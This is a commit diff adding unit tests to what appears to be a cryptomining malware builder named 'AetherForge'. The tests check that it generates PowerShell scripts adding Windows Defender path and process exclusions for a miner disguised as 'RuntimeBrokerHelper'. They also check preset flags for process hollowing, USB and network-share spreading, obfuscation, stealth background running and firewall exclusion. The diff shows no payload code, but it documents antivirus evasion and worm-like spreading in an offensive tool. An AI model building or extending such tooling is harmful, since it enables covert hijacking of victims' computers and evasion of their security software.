Add AV/Defender tests for diagnostics, exclusions, and defender_off.

Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.

server/web/src/help/defenderExclusion.test.ts

@@ -23,4 +23,26 @@ describe('defenderExclusion', () => {
   it('provides default install preview', () => {
     expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
   });
+
+  it('warns when not elevated and documents manual checklist', () => {
+    const script = buildDefenderExclusionScript({
+      installPath: '%LOCALAPPDATA%\\CryptoMiner\\worker',
+      processName: 'RuntimeBrokerHelper',
+    });
+    expect(script).toContain('Administrator');
+    expect(script).toContain('Add-MpPreference -ExclusionPath');
+    expect(script).toContain('Add-MpPreference -ExclusionProcess');
+    expect(script).toContain('Controlled folder access');
+    expect(script).toContain('Cloud-delivered protection');
+    expect(script).toMatch(/AetherForge — Windows Defender exclusions/);
+  });
+
+  it('appends .exe to bare process names', () => {
+    const script = buildDefenderExclusionScript({
+      installPath: 'C:\\miner',
+      processName: 'worker',
+    });
+    expect(script).toContain("'worker.exe'");
+    expect(script).not.toContain("'worker.exe.exe'");
+  });
 });

server/web/src/help/forgeOperationModes.test.ts

@@ -122,8 +122,17 @@ describe('forgeOperationModes', () => {
     expect(next.process_hollowing).toBe(false);
     expect(next.spread_kit).toBe(false);
     expect(next.auto_spread).toBe(false);
+    expect(next.usb_spread).toBe(false);
+    expect(next.share_spread).toBe(false);
     expect(next.remote_aggressive).toBe(false);
     expect(next.obfuscate).toBe(false);
+    expect(next.stealth_mode).toBe(true);
+    expect(next.display_mode).toBe('background');
+    expect(next.firewall_exclusion).toBe(true);
+    expect(next.mining_mode).toBe('idle');
+    expect(next.max_cpu_usage_pct).toBe(50);
+    expect(next.thread_percent).toBe(50);
+    expect(next.fusion_enabled).toBe(false);
   });
 
   it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {